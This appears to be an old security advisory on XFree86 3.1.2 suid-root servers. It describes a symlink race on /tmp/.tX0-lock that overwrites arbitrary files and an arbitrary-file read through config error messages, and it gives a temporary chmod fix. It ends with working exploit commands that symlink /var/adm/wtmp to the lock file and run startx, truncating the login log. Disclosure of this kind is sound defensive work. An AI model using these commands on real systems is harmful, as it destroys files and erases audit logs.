|    There are security holes in XFree86 3.1.2, which installs its servers
| as suid root (/usr/X11R6/bin/XF86_*).  When reading and writing files, 
| it does not take proper precautions to ensure that file permissions are
| maintained, resulting in the ability to overwrite files, and to read
| limited portions of other files.
|    The first problem stems from the server opening a temporary file,
| /tmp/.tX0-lock with mode (O_WRONLY|O_CREAT|O_TRUNC).  By making this
| file a symlink, the server will overwrite the original file, and then
| write to it its current pid.  
|    Other problems exist in the server relating to similar problems, one
| such example is the ability to specify an arbitrary file for the XF86config
| file which will then be opened, and the first line that fails to match
| the expected format will be output with an error, allowing a line to be
| read from an arbitrary file.
| 
|                    Program: XFree86 3.1.2 servers
| Affected Operating Systems: All systems with XFree86 3.1.2 installed
|               Requirements: account on system
|            Temporary Patch: chmod o-x /usr/X11R6/bin/XF86*
|        Security Compromise: overwrite arbitrary files
|                     Author: Dave M. (davem@cmu.edu)
|                   Synopsis: While running suid root, XFree86 servers do
|                             not properly check file permissions, allowing
|                             a user to overwrite arbitrary files on a 
|                             system.
| 
| 
| Exploit:
| $ ls -l /var/adm/wtmp
| -rw-r--r--   1 root     root       174104 Dec 30 08:31 /var/adm/wtmp
| $ ln -s /var/adm/wtmp /tmp/.tX0-lock
| $ startx
| (At this point exit X if it started, or else ignore any error messages)
| $ ls -l /var/adm/wtmp
| -r--r--r--   1 root     root           11 Dec 30 08:33 /var/adm/wtmp
|